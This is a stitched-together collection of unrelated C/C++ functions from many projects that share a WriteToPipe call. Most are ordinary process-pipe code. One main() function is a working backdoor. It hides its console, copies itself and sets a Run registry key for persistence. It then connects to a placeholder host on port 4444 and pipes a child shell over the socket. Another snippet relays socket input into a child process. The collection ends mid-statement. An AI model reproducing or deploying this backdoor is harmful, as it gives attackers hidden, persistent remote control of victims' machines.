nsresult nsEnigMsgCompose::WriteCopy(const char *aBuf, PRInt32 aLen) { nsresult rv; DEBUG_LOG(("nsEnigMsgCompose::WriteCopy: %d\n", aLen)); if (aLen <= 0) return NS_OK; mInputLen += aLen; if (mMimeListener) { // Write to listener rv = mMimeListener->Write(aBuf, aLen, nsnull, nsnull); if (NS_FAILED(rv)) return rv; } else if (mPipeTrans) { // Write to process and copy if multipart/signed rv = WriteToPipe(aBuf, aLen); if (NS_FAILED(rv)) return rv; if (mMultipartSigned) { rv = WriteOut(aBuf, aLen); if (NS_FAILED(rv)) return rv; } } return NS_OK; }
/*------------------------------------------------------------------------ Procedure: SendLastEditBuffer ID:1 Author: Chris Watford [email protected] Purpose: Sends an edit buffer to the pipe Input: Output: Errors: -------------------------------------------------------------------------- Edit History: 7 Aug 2004 - Chris Watford [email protected] - Fixed error where SendLastEditBuffer sent waaaay too many newlines which completely broke the underlying connection to the ocaml.exe pipe 15 Sept 2003 - Chris Watford [email protected] - Sends line to the pipe and adds newline to the end ------------------------------------------------------------------------*/ void SendLastEditBuffer(HWND hwndChild) { char* line = editbuffer_getasbuffer(CurrentEditBuffer); int l = strlen(line) - 1; char* linebuffer = (char*)SafeMalloc(l+2); // save current edit buffer to history and create a new blank edit buffer CurrentEditBuffer->isCorrect = TRUE; AddToHistory(CurrentEditBuffer); CurrentEditBuffer = (EditBuffer*)SafeMalloc(sizeof(EditBuffer)); CurrentEditBuffer->LineCount = 0; CurrentEditBuffer->Lines = NULL; // trim and add the newline to the end strncpy(linebuffer, line, l+1); while((linebuffer[l] == '\n' || linebuffer[l] == '\r') && (l >= 0)) { linebuffer[l--] = '\0'; } linebuffer[l+1] = '\n'; linebuffer[l+2] = '\0'; // save line to the pipe WriteToPipe(linebuffer); }
DWORD WINAPI PipeThreadMonitor(LPVOID Arg) { IPCPacket packet; for (;;) { // Wait for the client to connect if (!ConnectNamedPipe(g_Pipe, nullptr)) { printf("An error occurred while waiting for a client connection\n"); return 1; } for (bool runloop = true; runloop;) { // Wait for a client message to be sent if (!ReadFromPipe(&packet)) { printf("Failed to read from client connection\n"); runloop = false; break; } // Handle the message here switch (packet.MessageType) { case VM_CLIENT_READMEM_CMD: VmHandleReadMem(&packet); break; case VM_CLIENT_WRITEMEM_CMD: VmHandleWriteMem(&packet); break; case VM_CLIENT_SHUTDOWN_CMD: printf("GOT A SHUTDOWN MESSAGE TYPE\n"); // Exit the loop runloop = false; break; default: printf("GOT AN UNKNOWN MESSAGE TYPE\n"); packet.Status = 0; break; } // Send the resulting packet if (!WriteToPipe(&packet)) return 1; } // Disconnect the client DisconnectNamedPipe(g_Pipe); } return 0; }
int main(){ if (!InitializePipes()){ std::cout << "Failed To Initialize Pipes" << std::endl; return -1; } TCHAR program[] = TEXT("python test.py"); if (!CreateChildProcess(program)){ std::cout << "Failed To Create Child Process" << std::endl; return -1; } //char cmd[] = "print(\"hello\")\n"; // The valid one char cmd[] = "print asdf\n"; // The invalid one if (!WriteToPipe(cmd, strlen(cmd) + 1)){ std::cout << "Failed To Write" << std::endl; return -1; } char buf[128]; int len = ReadFromPipe(buf, 128); if (len == 0){ std::cout << "Failed To Read" << std::endl; return -1; } buf[len] = '\0'; std::cout << "Contents read from Pipe :\n" << buf << std::endl; return 0; }
static void SendQueuedMessages() { byte buf[MEMCOPY_THRESHOLD]; size_t dataLen; MemBlock * block; for (;;) { if (!gPipe) return; dataLen = 0; block = GetDataToSend(buf, dimof(buf), &dataLen); byte *dataToSend = buf; if (block) { dataToSend = block->UnsentData(); dataLen = block->UnsentLen(); } if (0 == dataLen) { CrashIf(block); return; } //lf("memtrace.dll: sending %d bytes", (int)dataLen); WriteToPipe(dataToSend, dataLen); if (block) { block->sent += dataLen; FreeBlock(block); } } }
void InterruptOcaml(void) { if (!GenerateConsoleCtrlEvent(CTRL_BREAK_EVENT, pi.dwProcessId)) { char message[1024]; sprintf(message, "GenerateConsole failed: %lu\n", GetLastError()); MessageBox(NULL, message, "Ocaml", MB_OK); } WriteToPipe(" "); }
int main(int argc, TCHAR *argv[]) { SECURITY_ATTRIBUTES saAttr; printf("\n->Start of parent execution.\n"); // Set the bInheritHandle flag so pipe handles are inherited. saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; // Create a pipe for the child process's STDOUT. if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0)) ErrorExit(TEXT("StdoutRd CreatePipe")); // Ensure the read handle to the pipe for STDOUT is not inherited. if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0)) ErrorExit(TEXT("Stdout SetHandleInformation")); // Create a pipe for the child process's STDIN. if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) ErrorExit(TEXT("Stdin CreatePipe")); // Ensure the write handle to the pipe for STDIN is not inherited. if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0)) ErrorExit(TEXT("Stdin SetHandleInformation")); // Create the child process. CreateChildProcess(); // Write to the pipe that is the standard input for a child process. // Data is written to the pipe's buffers, so it is not necessary to wait // until the child process is running before writing data. //char* cmd = "plot sin(x)\n"; char* cmd = "print \"haha\"\n"; int size = strlen(cmd); WriteToPipe((LPVOID*)cmd, size); //WriteToPipe(); //printf("\n->Contents of %s written to child STDIN pipe.\n", argv[1]); // Read from pipe that is the standard output for child process. //printf("\n->Contents of child process STDOUT:\n\n", argv[1]); ReadFromPipe(); printf("\n->End of parent execution.\n"); // The remaining open handles are cleaned up when this process terminates. // To avoid resource leaks in a larger application, close handles explicitly. system("pause"); return 0; }
/*------------------------------------------------------------------------ Procedure: WinMain ID:1 Purpose: Entry point for windows programs. Input: Output: Errors: ------------------------------------------------------------------------*/ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) { MSG msg; HANDLE hAccelTable; char consoleTitle[512]; HWND hwndConsole; CurrentEditBuffer = (EditBuffer*)SafeMalloc(sizeof(EditBuffer)); CurrentEditBuffer->LineCount = 0; CurrentEditBuffer->Lines = NULL; //setup the history index pointer historyEntry = NULL; // Setup the hInst global hInst = hInstance; // Do the setup if (!Setup(&hAccelTable)) return 0; // Need to set up a console so that we can send ctrl-break signal // to inferior Caml AllocConsole(); GetConsoleTitle(consoleTitle,sizeof(consoleTitle)); hwndConsole = FindWindow(NULL,consoleTitle); ShowWindow(hwndConsole,SW_HIDE); // Create main window and exit if this fails if ((hwndMain = CreateinriaWndClassWnd()) == (HWND)0) return 0; // Create the status bar CreateSBar(hwndMain,"Ready",2); // Show the window ShowWindow(hwndMain,SW_SHOW); // Create the session window hwndSession = MDICmdFileNew("Session transcript",0); // Get the path to ocaml.exe GetOcamlPath(); // Start the interpreter StartOcaml(); // Show the session window ShowWindow(hwndSession, SW_SHOW); // Maximize it SendMessage(hwndMDIClient, WM_MDIMAXIMIZE, (WPARAM) hwndSession, 0); PostMessage(hwndMain,WM_USER+1000,0,0); while (GetMessage(&msg,NULL,0,0)) { if (!TranslateMDISysAccel(hwndMDIClient, &msg)) if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) { TranslateMessage(&msg); // Translates virtual key codes DispatchMessage(&msg); // Dispatches message to window } } WriteToPipe("#quit;;\r\n\032"); KillTimer((HWND) 0, TimerId); return msg.wParam; }
bool ExecProcess( LPCTSTR cmdLine, const std::vector<uint8_t>& inData, std::vector<uint8_t>& outData ) { SECURITY_ATTRIBUTES saAttr; printf("\n->Start of parent execution.\n"); // Set the bInheritHandle flag so pipe handles are inherited. saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; // Create a pipe for the child process's STDOUT. if ( ! CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, BUFSIZE) ) ErrorExit(TEXT("StdoutRd CreatePipe")); // Ensure the read handle to the pipe for STDOUT is not inherited. if ( ! SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0) ) ErrorExit(TEXT("Stdout SetHandleInformation")); // Create a pipe for the child process's STDIN. if (! CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, inData.size())) ErrorExit(TEXT("Stdin CreatePipe")); // Ensure the write handle to the pipe for STDIN is not inherited. if ( ! SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0) ) ErrorExit(TEXT("Stdin SetHandleInformation")); // Create the child process. CreateChildProcess((LPTSTR)cmdLine); // Write to the pipe that is the standard input for a child process. // Data is written to the pipe's buffers, so it is not necessary to wait // until the child process is running before writing data. WriteToPipe(&inData[0], inData.size()); // Read from pipe that is the standard output for child process. ReadFromPipe(outData); printf("\n->End of parent execution.\n"); // The remaining open handles are cleaned up when this process terminates. // To avoid resource leaks in a larger application, close handles explicitly. return true; }
RZRESULT CreateEffect(RZDEVICEID DeviceId, ChromaSDK::EFFECT_TYPE Effect, PRZPARAM pParam, RZEFFECTID *pEffectId) { if (isInitialized) { switch (Effect) { case ChromaSDK::CHROMA_NONE: break; case ChromaSDK::CHROMA_WAVE: break; case ChromaSDK::CHROMA_SPECTRUMCYCLING: break; case ChromaSDK::CHROMA_BREATHING: break; case ChromaSDK::CHROMA_BLINKING: break; case ChromaSDK::CHROMA_REACTIVE: break; case ChromaSDK::CHROMA_STATIC: break; case ChromaSDK::CHROMA_CUSTOM: break; case ChromaSDK::CHROMA_STARLIGHT: break; case ChromaSDK::CHROMA_INVALID: break; default: break; } std::stringstream ss; ss << "\"command\": " << "\"CreateEffect\"" << ','; ss << "\"command_data\": {"; ss << "\"custom_mode\": " << 0; ss << '}'; WriteToPipe(current_bitmap, ss.str()); return RZRESULT_SUCCESS; } else { return RZRESULT_INVALID; } }
// ポンプを回す BOOL PumpPipe(RedirStdIOContext* pContext) { BOOL r = TRUE; if(pContext->pfnWriteStdIn) { // stdin を与える if(!WriteToPipe(pContext, pContext->hStdInWritePipeDup, pContext->pfnWriteStdIn)) { // コールバックから FALSE が返ってきた:もう与えるデータはない CloseHandle(pContext->hStdInWritePipeDup); pContext->pfnWriteStdIn = NULL; } } // どちらかのコールバックがもうデータはいらんと言うまで r = r && ReadFromPipe(pContext, pContext->StdOut.hRead, pContext->pfnReadStdOut); r = r && ReadFromPipe(pContext, pContext->StdErr.hRead, pContext->pfnReadStdErr); return r; }
int GetThreadedMessages(int pid, int readPipe[], int writePipe[]) { char readBuffer[80]; ReadFromPipe(0, 0, readPipe, readBuffer); if (strlen(readBuffer) > 0) { // printf("Received String from process %d: %s\n", pid, // RemoveNewline(readBuffer)); char* msg = ProcessMessage(readBuffer); //sends response to write pipe. WriteToPipe(0, 0, writePipe, msg); } return 0; }
void Child::DO(char* input) { fprintf(stderr,"Child:: Proccessing: %s\n",input); //Convert input to number int a = atoi(input); //Calculate Factorial int r=1; for(int i=1;i<=a;i++) r*=i; //Convert Result to String char result[255]={0}; sprintf(result,"%d",r); //Write To Pipe WriteToPipe(h_stdout,result); }
int main(int argc, char *argv[]) { int i, status, parent, child[3], exitStatus, parentToChild1[2], child1ToChild2[2], child2ToChild3[2], child1ToParent[2], parentToChild2[2], child2ToParent[2], parentToChild3[2], child3ToParent[2]; char command[100], token[] = "GO_AHEAD"; /* Error handling */ if (argc != 2) { fprintf(stderr, "Usage: ./a.out <file name>\n"); exit(99); } /* Create pipes */ MakePipe(parentToChild1); MakePipe(child1ToChild2); MakePipe(child2ToChild3); MakePipe(child1ToParent); MakePipe(parentToChild2); MakePipe(child2ToParent); MakePipe(parentToChild3); MakePipe(child3ToParent); /* Set all I/O operations to non-buffered Stderr is unbuffered by default, so we can have this under the error handling */ setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(fdopen(parentToChild1[0], "r"), NULL, _IONBF, 0); setvbuf(fdopen(parentToChild1[1], "w"), NULL, _IONBF, 0); setvbuf(fdopen(child1ToChild2[0], "r"), NULL, _IONBF, 0); setvbuf(fdopen(child1ToChild2[1], "w"), NULL, _IONBF, 0); setvbuf(fdopen(child2ToParent[0], "r"), NULL, _IONBF, 0); setvbuf(fdopen(child2ToParent[1], "w"), NULL, _IONBF, 0); setvbuf(fdopen(child1ToParent[0], "r"), NULL, _IONBF, 0); setvbuf(fdopen(child1ToParent[1], "w"), NULL, _IONBF, 0); setvbuf(fdopen(parentToChild2[0], "r"), NULL, _IONBF, 0); setvbuf(fdopen(parentToChild2[1], "w"), NULL, _IONBF, 0); setvbuf(fdopen(child2ToChild3[0], "r"), NULL, _IONBF, 0); setvbuf(fdopen(child2ToChild3[1], "w"), NULL, _IONBF, 0); setvbuf(fdopen(parentToChild3[0], "r"), NULL, _IONBF, 0); setvbuf(fdopen(parentToChild3[1], "w"), NULL, _IONBF, 0); setvbuf(fdopen(child3ToParent[0], "r"), NULL, _IONBF, 0); setvbuf(fdopen(child3ToParent[1], "w"), NULL, _IONBF, 0); /* Produces 3 children */ for (i = 0; i < 3; ++i) { if ((parent = child[i] = fork()) == error) { fprintf(stderr, "Could not produce child #%d\n", i+1); exit(99); } if (!parent) break; } /* Send and receive tokens from children and then wait for them to finish */ if (parent) { fprintf(stdout, "I am the parent of the following: %d, %d, and %d\n", child[0], child[1], child[2]); WriteToPipe(parentToChild1, token); ReadFromPipe(child1ToParent, command); WriteToPipe(parentToChild2, token); ReadFromPipe(child2ToParent, command); WriteToPipe(parentToChild3, token); ReadFromPipe(child3ToParent, command); for (i = 0; i < 3; ++i) { waitpid(child[i], &status, 0); fprintf(stdout, "From main: child, id #%d ended with status %d\n", child[i], WEXITSTATUS(status)); } fprintf(stdout, "Goodbye!\n"); } else { /* First child */ if (i == 0) { ReadFromPipe(parentToChild1, command); fprintf(stdout, "I am child #%d and my id is: %d\n", i+1, getpid()); /* Copies file received from argument */ sprintf(command, "cp %s newcopy.txt", argv[1]); exitStatus = system(command); char done[] = "child1_done"; WriteToPipe(child1ToParent, done); WriteToPipe(child1ToChild2, done); exit(++exitStatus); } /* Second child */ else if (i == 1) { ReadFromPipe(child1ToChild2, command); ReadFromPipe(parentToChild2, command); fprintf(stdout, "I am child #%d and my id is: %d\n", i+1, getpid()); /* Runs ls on /bin and /sbin */ sprintf(command, "ls /bin /sbin -lR"); exitStatus = system(command); char done[] = "child2_done"; WriteToPipe(child2ToChild3, done); WriteToPipe(child2ToParent, done); exit(++exitStatus); } /* Third child */ else { ReadFromPipe(child2ToChild3, command); ReadFromPipe(parentToChild3, command); fprintf(stdout, "I am child #%d and my id is: %d\n", i+1, getpid()); /* Cats file received from argument and source code */ sprintf(command, "cat %s Assignment5.c", argv[1]); exitStatus = system(command); char done[] = "child3_done"; WriteToPipe(child3ToParent, done); exit(++exitStatus); } } return 0; }
BOOL Go(const char *commandLine) { HANDLE stdInRead, stdInWrite; if (!CreatePipes(&stdInRead, &stdInWrite)) return FALSE; PROCESS_INFORMATION piProcInfo; STARTUPINFO siStartInfo; BOOL bSuccess = FALSE; ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) ); ZeroMemory( &siStartInfo, sizeof(STARTUPINFO) ); siStartInfo.cb = sizeof(STARTUPINFO); siStartInfo.hStdError = GetStdHandle(STD_ERROR_HANDLE); siStartInfo.hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE); siStartInfo.hStdInput = stdInRead; siStartInfo.dwFlags |= STARTF_USESTDHANDLES; siStartInfo.wShowWindow = SW_HIDE; siStartInfo.dwFlags |= STARTF_USESHOWWINDOW; // Create the child process. if (!CreateProcess(NULL, const_cast<char *>(commandLine), // command line NULL, // process security attributes NULL, // primary thread security attributes TRUE, // handles are inherited CREATE_BREAKAWAY_FROM_JOB, // creation flags NULL, // use parent's environment NULL, // use parent's current directory &siStartInfo, // STARTUPINFO pointer &piProcInfo)) // receives PROCESS_INFORMATION { return FALSE; } HANDLE ghJob = CreateJobObject( NULL, NULL); JOBOBJECT_EXTENDED_LIMIT_INFORMATION jeli = { 0 }; jeli.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE; if( ghJob == NULL || SetInformationJobObject( ghJob, JobObjectExtendedLimitInformation, &jeli, sizeof(jeli)) == FALSE) { std::cerr << "Error initializing close-process job"; return 1; } if (!AssignProcessToJobObject( ghJob, piProcInfo.hProcess)) { DWORD error = GetLastError(); std::cerr << "AssignProcessToJobObject failed: " << error << std::endl; return FALSE; } // Close handles to the child process and its primary thread. // Some applications might keep these handles to monitor the status // of the child process, for example. CloseHandle(piProcInfo.hThread); MonitorProcessClose(piProcInfo.hProcess); WriteToPipe(stdInWrite, piProcInfo.hProcess); CloseHandle(piProcInfo.hProcess); CloseHandle(stdInRead); CloseHandle(stdInWrite); return 0; }
int _tmain(int argc, _TCHAR* argv[]) { WSADATA wsaData; int iResult; BOOL isFirstConnect = true; SOCKET ListenSocket = INVALID_SOCKET; SOCKET ClientSocket = INVALID_SOCKET; struct addrinfo *result = NULL; struct addrinfo hints; int iSendResult; char recvbuf[DEFAULT_BUFLEN]; int recvbuflen = DEFAULT_BUFLEN; // Initialize Winsock iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); if (iResult != 0) { printf("WSAStartup failed with error: %d\n", iResult); return 1; } ZeroMemory(&hints, sizeof(hints)); hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; hints.ai_flags = AI_PASSIVE; // Resolve the server address and port iResult = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result); if (iResult != 0) { printf("getaddrinfo failed with error: %d\n", iResult); WSACleanup(); return 1; } // Create a SOCKET for connecting to server ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol); if (ListenSocket == INVALID_SOCKET) { printf("socket failed with error: %ld\n", WSAGetLastError()); freeaddrinfo(result); WSACleanup(); return 1; } // Setup the TCP listening socket iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen); if (iResult == SOCKET_ERROR) { printf("bind failed with error: %d\n", WSAGetLastError()); freeaddrinfo(result); closesocket(ListenSocket); WSACleanup(); return 1; } freeaddrinfo(result); // Limitless listen socket - if we close connection, then we can receive another client iResult = listen(ListenSocket, SOMAXCONN); if (iResult == SOCKET_ERROR) { printf("listen failed with error: %d\n", WSAGetLastError()); closesocket(ListenSocket); WSACleanup(); return 1; } // Accept a client socket ClientSocket = accept(ListenSocket, NULL, NULL); if (ClientSocket == INVALID_SOCKET) { printf("accept failed with error: %d\n", WSAGetLastError()); closesocket(ListenSocket); WSACleanup(); return 1; } // No longer need server socket closesocket(ListenSocket); SECURITY_ATTRIBUTES saAttr; saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0)) ErrorExit(TEXT("StdoutRd CreatePipe")); // Ensure the read handle to the pipe for STDOUT is not inherited. if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0)) ErrorExit(TEXT("Stdout SetHandleInformation")); // Create a pipe for the child process's STDIN. if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) ErrorExit(TEXT("Stdin CreatePipe")); // Ensure the write handle to the pipe for STDIN is not inherited. if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0)) ErrorExit(TEXT("Stdin SetHandleInformation")); // Create the child process. CreateChildProcess(); // Create thread for sending from pipe HANDLE hThread; DWORD dwThreadId; hThread = CreateThread( NULL, // default security attributes 0, // use default stack size listenAndSend, // thread function name &ClientSocket, // argument to thread function 0, // use default creation flags &dwThreadId); // Receive until the peer shuts down the connection do { ZeroMemory(&recvbuf, recvbuflen); iResult = recv(ClientSocket, recvbuf, recvbuflen, 0); if (iResult > 0) { WriteToPipe(recvbuf); } else if (iResult == 0) printf("Connection closing...\n"); else { printf("recv failed with error: %d\n", WSAGetLastError()); closesocket(ClientSocket); WSACleanup(); return 1; } } while (iResult > 0); if ((CloseHandle(g_hChildStd_OUT_Wr) == 0) || (CloseHandle(g_hChildStd_IN_Wr) == 0) || (CloseHandle(g_hChildStd_IN_Rd) == 0) || (CloseHandle(g_hChildStd_OUT_Rd) == 0)) { printf("can't close pipes\n"); return 1; } closesocket(ListenSocket); // Terminate thread DWORD exitCode; if (GetExitCodeThread(hThread, &exitCode) != 0) { if (TerminateThread(hThread, exitCode) != 0) { printf("close thread\n"); } } // shutdown the connection since we're done iResult = shutdown(ClientSocket, SD_SEND); if (iResult == SOCKET_ERROR) { printf("shutdown failed with error: %d\n", WSAGetLastError()); closesocket(ClientSocket); WSACleanup(); return 1; } // cleanup closesocket(ClientSocket); WSACleanup(); return 0; }
void main (int argc, char *argv[]) { HANDLE hPipe; TCHAR szPipeName[256]; TCHAR szServerName[128] = "\\\\."; EX_BUF exBuf = {0}; DWORD dwResponce = ERROR_ACCESS_DENIED; if (argc < 4) Usage(argv[0]); // // Verify expnese input // if (!lstrcmpi(argv[2],TEXT("Personal"))) { exBuf.dwType = ACCESS_FUND_PERSONAL; } else if (!lstrcmpi(argv[2],TEXT("Corporate"))) { exBuf.dwType = ACCESS_FUND_CORPORATE; } else if (!lstrcmpi(argv[2],TEXT("Transfer"))) { exBuf.dwType = ACCESS_FUND_TRANSFER; } else Usage(argv[0]); if (!(exBuf.dwAmmount = atoi(argv[3]))) Usage(argv[0]); printf("expense: %s Ammount: %u\n",ExNames[exBuf.dwType],exBuf.dwAmmount); _stprintf_s(szPipeName, 256 * sizeof(TCHAR),"%s\\pipe\\AuthzSamplePipe",szServerName); // Wait for an instance of the pipe if (!WaitNamedPipe(szPipeName,NMPWAIT_WAIT_FOREVER) ) HandleError(GetLastError(),TEXT("WaitNamedPipe"),TRUE,TRUE); // Connect to pipe hPipe = CreateFile( szPipeName, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hPipe == INVALID_HANDLE_VALUE) HandleError(GetLastError(),TEXT("CreateFile"),TRUE,TRUE); // Send off request WriteToPipe(hPipe, (PBYTE)&exBuf, sizeof(EX_BUF)); // wait till server responds with one DWORD if (!ReadFromPipe(hPipe,(PBYTE)&dwResponce,sizeof(dwResponce))) { printf("Error reading form Svr\n"); return; } switch(dwResponce) { case EXPENSE_APPROVED: printf("Expense Approved.\n"); break; case ERROR_ACCESS_DENIED: printf("Expense denied: Access denied.\n"); break; case ERROR_INSUFFICIENT_FUNDS: printf("Expense denied: Insufficeint funds.\n"); break; default: printf("Expense failed: unexpected error.\n"); } CloseHandle(hPipe); }
int ForkProcess(int id, char* transFileName, int writePipe[], int responsePipe[]) { pid_t p; if ((p = fork()) == 0) { //close read end of pipe for child process p = getpid(); close(writePipe[0]); close(responsePipe[1]); signal(SIGUSR1, ShowCurrentStatus); signal(SIGUSR2, ShowCurrentStatus); char* filename = transFileName; char input[100] = ""; logFilePointer = OpenLogFile(); FILE *fp; fp = fopen(filename, "r"); while (fgets(input, 100, fp) != NULL) { if (strlen(input) > 0) { char* str = input; char buf[80] = ""; // printf("attempting to send %s through pipe.\n", // RemoveNewline(input)); sprintf(buf, "%d %d %s", id, p, str); // printf("sending %s\n", RemoveNewline(buf)); WriteToPipe(id, p, writePipe, buf); sleep(1); char readBuffer[80]; ReadFromPipe(id, p, responsePipe, readBuffer); if (strcmp(readBuffer + strlen(readBuffer) - strlen("FAILED"), "FAILED") == 0) failedCommands++; totalCommands++; input[0] = '\0'; } } //write(writePipe[1], exitCmd, strlen(exitCmd) + 1); //printf("exiting child process %d\n", pid); close(writePipe[1]); close(responsePipe[1]); fclose(fp); while (1 == 1) { sleep(1); } return 0; } else { //close write end of pipe for parent process close(writePipe[1]); close(responsePipe[0]); //loops until ReadFromPipe is done; return p; } }
int main(int argc, char** argv) { char dyndns[] ="www.youradress.com"; //Get the CWD and append the new Filename for the Copy-Method of the exe itself. //Note: Ugly one... leave it in his dark place alone and hope it will die someday.. char * buffer; buffer = _getcwd(NULL, 0); int counter =0; for(int i = 0;;i++) { if(counter == 2) { if(buffer[i] == '\\' || buffer[i] == '>') { buffer[i] = 0; break; } } if(buffer[i]=='\\') { counter++; } } strcat(buffer,"\\yourfilename.exe"); CopyFileA(argv[0],buffer,false); #if !DEBUG //Hideing the console window HWND hWnd = GetConsoleWindow(); ShowWindow( hWnd, SW_HIDE ); //Setting the console name for fun and profit //char name[]="SPARTA"; //SetConsoleTitleA(name); char subkey[]= "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //char cwd[1024]; //char asf[] = "lolololol"; //_getcwd(cwd,1024); //strcat(cwd,"\\"); //strcpy(cwd,**argv); //strcat(cwd,argv[0]); DWORD shit=0; RegSetValueA(HKEY_CURRENT_USER,subkey,REG_SZ, buffer, shit); #endif //Testausgabe #if DEBUG printf("Socket Client\n"); #endif //Variablen initialisieren long returnvalue; SOCKADDR_IN addr; SECURITY_ATTRIBUTES saAttr; #if DEBUG printf("\n->Start of parent execution.\n"); #endif // Set the bInheritHandle flag so pipe handles are inherited. saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; // Create a pipe for the child process's STDOUT. if ( ! CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0) ) exit(2); // Ensure the read handle to the pipe for STDOUT is not inherited. if ( ! SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0) ) exit(3); // Create a pipe for the child process's STDIN. if (! CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) exit(4); // Ensure the write handle to the pipe for STDIN is not inherited. if ( ! SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0) ) exit(5); // Create the child process. CreateChildProcess(); //Weitere SOCKET Abhandlungen... //Socket Verfügbarkeit prüfen do { returnvalue = StartWinsock(); if(returnvalue != 0) { #if DEBUG printf("[-] Fehler: StartWinsock Fehlercode: %d!\n",returnvalue); #endif Sleep(60000); } #if DEBUG else { printf("[+] Winsock gestartet!\n"); } #endif } while(returnvalue != 0); //Socket initialisieren do { sock = socket(AF_INET,SOCK_STREAM,0); if(sock == INVALID_SOCKET) { #if DEBUG printf("[-] Fehler: Der Socket konnte nicht erstellt werden, fehler code: %d\n",WSAGetLastError()); #endif Sleep(60000); } #if DEBUG else { printf("[+] Socket erstellt!\n"); } #endif } while(sock == INVALID_SOCKET); //Port und IP übergabe memset(&addr,0,sizeof(SOCKADDR_IN)); addr.sin_family = AF_INET; addr.sin_port = htons(4444); //addr.sin_addr.s_addr = inet_addr("127.0.0.1"); do { returnvalue = getAddrFromString(dyndns,&addr); if(returnvalue == SOCKET_ERROR) { #if DEBUG printf("[-] Fehler: IP für %s konnte nicht aufgeloest werden.\n"); #endif Sleep(60000); } #if DEBUG else { printf("[+] IP aufgelöst!\n"); } #endif } while(returnvalue == SOCKET_ERROR); //Verbindungsaufbau do { returnvalue = connect(sock, (SOCKADDR*)&addr, sizeof(SOCKADDR)); if(returnvalue == SOCKET_ERROR) { #if DEBUG printf("[-] Fehler: connect gescheitert, fehler code: %d\n",WSAGetLastError()); #endif Sleep(60000); } #if DEBUG else { printf("[+] Verbindung hergestellt mit %s\n",argv[1]); } #endif } while(returnvalue == SOCKET_ERROR); for(;;) { #if DEBUG //Warten auf Input printf("[-] Warte auf Input ...\n\n"); #endif WriteToPipe(); ReadFromPipe(); if(exitOnForce) { #if DEBUG printf("\n->SYSTEM GOING DOWN!\n"); #endif break; } } #if DEBUG printf("\n->End of parent execution.\n"); #endif // The remaining open handles are cleaned up when this process terminates. // To avoid resource leaks in a larger application, close handles explicitly. return 0; }
DWORD main(int argc, char *argv[]) { SECURITY_ATTRIBUTES saAttr; BOOL fSuccess; // Set the bInheritHandle flag so pipe handles are inherited. saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; // The steps for redirecting child process's STDOUT: // 1. Save current STDOUT, to be restored later. // 2. Create anonymous pipe to be STDOUT for child process. // 3. Set STDOUT of the parent process to be write handle to // the pipe, so it is inherited by the child process. // 4. Create a noninheritable duplicate of the read handle and // close the inheritable read handle. // Save the handle to the current STDOUT. hSaveStdout = GetStdHandle(STD_OUTPUT_HANDLE); // Create a pipe for the child process's STDOUT. if (! CreatePipe(&hChildStdoutRd, &hChildStdoutWr, &saAttr, 0)) ErrorExit("Stdout pipe creation failed\n"); // Set a write handle to the pipe to be STDOUT. if (! SetStdHandle(STD_OUTPUT_HANDLE, hChildStdoutWr)) ErrorExit("Redirecting STDOUT failed"); // Create noninheritable read handle and close the inheritable read // handle. fSuccess = DuplicateHandle(GetCurrentProcess(), hChildStdoutRd, GetCurrentProcess(), &hChildStdoutRdDup , 0, FALSE, DUPLICATE_SAME_ACCESS); if( !fSuccess ) ErrorExit("DuplicateHandle failed"); CloseHandle(hChildStdoutRd); // The steps for redirecting child process's STDIN: // 1. Save current STDIN, to be restored later. // 2. Create anonymous pipe to be STDIN for child process. // 3. Set STDIN of the parent to be the read handle to the // pipe, so it is inherited by the child process. // 4. Create a noninheritable duplicate of the write handle, // and close the inheritable write handle. // Save the handle to the current STDIN. hSaveStdin = GetStdHandle(STD_INPUT_HANDLE); // Create a pipe for the child process's STDIN. if (! 